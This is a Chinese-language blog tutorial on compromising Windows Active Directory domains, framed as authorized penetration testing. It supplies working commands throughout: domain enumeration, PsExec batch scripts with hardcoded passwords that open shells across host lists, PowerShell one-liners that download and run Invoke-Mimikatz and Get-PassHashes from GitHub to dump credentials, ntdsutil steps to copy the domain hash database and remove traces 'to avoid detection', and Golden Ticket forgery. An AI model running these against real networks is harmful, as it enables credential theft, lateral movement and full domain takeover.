3、域滲透詳解

FLy_鵬程萬里發表於2018-06-10

在滲透測試過程中,我們經常會遇到以下場景:某處於域中的伺服器通過路由做埠對映,對外提供web服務,我們通過web指令碼漏洞獲得了該主機的system許可權,如果甲方有進一步的內網滲透測試需求,以證明企業所面臨的巨大風險,這個時候就需要做內網的域滲透。

通常,我們是以獲得域控制器的許可權為目標,因為一旦域控制器淪陷,整個內網就盡在掌握中了,在學習域滲透之前,我們需要了解一些基礎知識,本期“安仔課堂”,ISEC實驗室的秦老師為大家一一講解。

一、什麼是域

將網路中多臺計算機邏輯上組織到一起,進行集中管理,這種區別於工作組的邏輯環境叫做域,域是組織與儲存資源的核心管理單元,在域中,至少有一臺域控制器,域控制器中儲存著整個域的使用者帳號和安全資料庫。



那麼域網路結構有什麼優點呢?域的優點主要有以下幾個方面:

1、許可權管理比較集中,管理成本降低

域環境中,所有的網路資源,包括使用者均是在域控制器上維護的,便於集中管理,所有使用者只要登入到域,均能在域內進行身份驗證,管理人員可以較好的管理計算機資源,管理網路的成本大大降低;同時在域環境中也可以防止企業員工在域成員主機上違規安裝軟體,增強客戶端安全性,減少客戶端故障,降低維護成本。

2、保密性加強

有利於企業的一些保密資料的管理,可以單獨對資源進行許可權控制,允許或拒絕特定的域賬戶對資源的請求。

3、安全性加強

使用漫遊賬戶和資料夾重定向,個人賬戶的工作檔案及資料等可以儲存在伺服器上,進行統一備份及管理,使使用者的資料更加安全有保障;同時域控制器能夠分發應用程式、系統補丁,使用者可以選擇安裝,也可以由系統管理員指派自動安裝,資料及系統安全性大大提高。

4、提高了便捷性

可由管理員指派登陸指令碼對映,使用者登入後就可以像使用本地碟符一樣,使用網路上的資源,且不需要再次輸入密碼。

基於以上原因,很多企業的內網均會採用域環境,所以作為一名合格的滲透測試人員,域滲透的常規思路和技巧要熟練掌握。

二、域的特性

域成員計算機在登入的時候可以選擇登入到域中或此計算機,登陸到域中的時候,身份驗證是採用Kerberos協議在域控制器上進行的,登陸到此計算機則是通過SAM來進行NTLM驗證的,如下圖:


預設情況下,域使用者可以登入到域中所有的工作站,不包括域控制器,管理員也可以指定具體的計算機,域使用者資訊儲存在活動目錄中,如下圖:



三、域滲透思路

一個具有一定規模的企業,每天都可能面臨員工入職和離職,因此網路管理部門經常需要對域成員主機進行格式化消除磁碟的檔案,然後重灌系統及軟體,以提供給新員工使用;因此,為了便於後期交接,大多網路管理員會做好一個系統映象盤,統一安裝所有的電腦,並且在安裝的時候設定慣用、甚至統一的密碼。

因此,域中的計算機本地管理員賬號,極有可能能夠登陸域中較多的計算機,本地管理員的密碼在伺服器上後期修改的概率,遠低於在個人辦公電腦上的概率,而域使用者許可權是較低的,是無法在域成員主機上安裝軟體的,這將會發生下面的一幕:

某個域使用者需要使用viso軟體進行繪圖操作,於是聯絡網路管理員進行安裝,網路管理員採用域管理員身份登入了域成員主機,並幫助其安裝了viso軟體,於是這個有計算機基礎的員工,切換身份登入到了本地計算機的管理員,後執行mimikatz,從記憶體當中抓取了域管理員的密碼,便成功的控制了整個域。

因此,域滲透的思路就是:通過域成員主機,定位出域控制器IP及域管理員賬號,利用域成員主機作為跳板,擴大滲透範圍,利用域管理員可以登陸域中任何成員主機的特性,定位出域管理員登陸過的主機IP,設法從域成員主機記憶體中dump出域管理員密碼,進而拿下域控制器、滲透整個內網。

四、域滲透常用指令

以下所有指令均為在域成員主機上執行的結果。

得到域控制器的IP:dsquery server


得到域控制器主機名:net group “domain controllers” /domain,注意通過該指令得到的機器名後面會多一個$符號,如下圖:


查詢域管理使用者:net group “domain admins” /domain


檢視所有域使用者: net user /domain


這裡有一個特殊使用者叫做krbtgt,該使用者是用於Kerberos身份驗證的帳戶,獲得了該使用者的hash,就可以偽造票據進行票據傳遞攻擊了,此外,還有以下幾個常用指令:

查詢當前登陸域:net config workstation

查詢域密碼策略:net accounts /domain

檢視補丁資訊:wmic qfe

檢視作業系統型別:wmic os

當我們獲得了某個本地管理員許可權的賬號,我們想通過該賬號訪問內網其他主機,常用的做法有net use建立Ipc$連線、wmic指令連線、採用rdp方式連線、當然也可以使用“計算機管理–連線到另一臺計算機”的功能來進行操作,除此之外,筆者更喜歡使用psexec進行遠端連線,如下圖:


如果覺得一臺一臺手工連線比較麻煩,也可以進行批量連線,批量反彈cmdshell回來,可以採用如下批處理:

@echo off

echo check ip addr config file…

if not exist ip.txt echo ip addr config file ip.txt does not exist! & goto end

echo read and analysis file…

for /F “eol=#” %%i in (ip.txt) do start PsExec.exe \\%%i -accepteula -u administrator -p “123456″ cmd & start cmd /c PsExec.exe \\%%i -u administrator -p “123456″ cmd

:end

exit


當返回了cmdshell後,我們就可以逐一讀取記憶體,去抓取域管理員的密碼,這裡可以結合powershell來進行快速操作,無需上傳檔案:

抓明文:

powershell IEX (New-Object Net.WebClient).DownloadString(‘https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1′); Invoke-Mimikatz –DumpCerts

抓hash:

powershell IEX (New-Object Net.WebClient).DownloadString(‘https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.ps1′);Get-PassHashes

這種方式的好處是隻要域管理員登陸過目標計算機,即使登出了會話,一樣可以從記憶體讀取到密碼,但實際的滲透過程中,我們往往追求的是效率,如何快速找到域管理員登陸過哪臺計算機,並且還存在活動會話,優先順序更高一些,我們可以使用如下指令:


這裡ip.txt是需要遍歷的IP列表,1.bat中的指令為tasklist /v |find “域管理員”,這樣我們只需要在返回的cmdshell當中,去檢視是否含有域管理員字樣的會話,如果有,則表示該主機上曾經登陸過域管理員,可以去dump記憶體密碼了。

另外我們也可以使用Tasklist命令檢視遠端主機任務列表,這裡一樣是搜尋含有域管理員字樣的任務列表,如下圖:


基於以上原理,我們可以寫一個更加自動化的批處理:

@echo off

echo check ip addr config file…

if not exist ip.txt echo ip addr config file ip.txt does not exist! & goto end

echo read and analysis file…

for /F “eol=#” %%i in (ip.txt) do echo %%i &(echo %%i &tasklist /s %%i /u administrator /p mytest2010 /v) >>d:\result.txt

:end

exit

上述指令的作用就是採用指定的使用者名稱和密碼去遍歷ip.txt中的IP列表,並列印任務列表,將結果輸出到result.txt當中,執行完了上述批處理,我們只需要稍作等待,最後去檢視result.txt當中是否含有域管理員字樣,即可確定哪些主機上存在域管理員的活動會話,如下圖:

五、域使用者hash提取

域使用者帳戶以域資料庫的形式儲存在活動目錄中,ntdsutil.exe是域控制器自帶的域資料庫管理工具,從windows 2008就預設自帶了,因此我們可以通過域資料庫,提取出域中所有的域使用者資訊,在域控上依次執行如下命令,匯出域資料庫:

Ntdsutil –snapshot—activate instance ntds—create—mount {guid}—copy 裝載點\windows\NTDS\ntds.dit d:\ntds_save.dit


域資料庫裝載完畢,即可進行復制,如下圖:


最後執行unmount {guid}—delete {guid}–quit刪除裝載點即可,避免被發現,接著上傳工具QuarksPwDump到域控制器上,然後執行如下命令,成功提取使用者hash,如下圖:

QuarksPwDump –dump-hash-domain –ntds-file d:\ntds_save.dit

注意上面的操作必須在域控制器上,否則會出現如下錯誤,這是因為開啟域資料庫需要用到相應的資料庫引擎,如下圖:


除了上面的操作方法外,還可以使用mimikatz一條命令,獲取域控制器上所有使用者的hash:

mimikatz log “privilege::debug” “lsadump::lsa /patch”


六、票據傳遞攻擊

域中每個使用者的Ticket都是由krbtgt的密碼Hash來計算生成的,因此只要我們拿到了krbtgt的密碼Hash,就可以隨意偽造Ticket,進而使用Ticket登陸域控制器,使用krbtgt使用者hash生成的票據被稱為Golden Ticket,此類攻擊方法被稱為票據傳遞攻擊。

首先,我們來生成Golden Ticket,這裡需要修改相應的域管理員賬號、域名稱、sid值,如下圖:


接著我們使用如下指令匯入票據:


匯入成功後,我們在域成員主機上執行klist,即可檢視快取的票據,如下圖:


最後,我們就可以使用票據傳遞攻擊,登陸域控了,如下圖:

因此,在域滲透過程如果發現域管理員的密碼已經修改,可嘗試利用krbtgt使用者的歷史hash來進行票據傳遞攻擊,krbtgt使用者的密碼一般不會有人去修改。

此外,域滲透過程中可能會使用到MS14-068這個漏洞,微軟給出的補丁是kb3011780,在server 2000以上的域控中,如果沒有打這個補丁,那麼情況將比較糟糕,利用該漏洞可以將任何一個域使用者提權至域管理員許可權,危害極大。


相關文章